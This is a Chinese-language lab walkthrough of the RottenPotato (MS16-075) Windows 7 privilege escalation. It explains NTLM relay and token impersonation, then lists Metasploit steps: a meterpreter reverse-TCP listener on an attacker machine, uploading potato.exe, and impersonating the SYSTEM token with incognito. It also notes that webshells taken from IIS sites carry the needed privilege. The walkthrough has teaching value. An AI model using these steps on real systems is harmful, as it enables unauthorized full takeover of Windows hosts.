烂土豆提权——本质上是利用SMB中间人漏洞利用,伪造一个token实现提权


烂土豆(RottenPotato)提权 -- Windows7复现

 

写在前面:首先要了解的是,烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户。

漏洞了解_MS16-075:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

ms16-075漏洞简介

Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038,有关该漏洞的详细介绍请参阅其网页:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。

 

原理#

  • 欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端
  • 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。
  • 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功

烂土豆&&热土豆#

烂土豆比热土豆的优点:

  • 100%可靠
  • 全版本通杀
  • 立即生效,不用像hot potato 那样有时候需要等到Windows更新才能使用


通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

案例#

Win7烂土豆提权#

  • 攻击机:Kali 172.16.0.87
  • 靶机: Windows7 172.16.0.86

上传木马并获取一个监听Session#

载入监听模块:use exploit/multi/handler

设置Payload: set payload windows/meterpreter_reverse_tcp

设置参数:

image-20210830153211690

run -j执行监听

image-20210830153814709

查看sessions 刚刚获取的是Sessions 2

可以直接输入sessions 2进入sessions 2 的meterpreter中

这一步直接跳过,msf自带的exp无法提权,所以在Gtihub上下载一个

通过meterpreter上传到目标机器

Copy
upload /root/potato.exe c:/   上传potato.exe到目标机器中的C:/目录下

然后运行之前在令牌提权中的命令:

Copy
use incognito
# 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u
# 列出目标机器用户的可用令牌
execute -cH -f c:/potato.exe
# 创建新的进程
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

image-20210830154733539

image-20210830154748582

参考链接:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe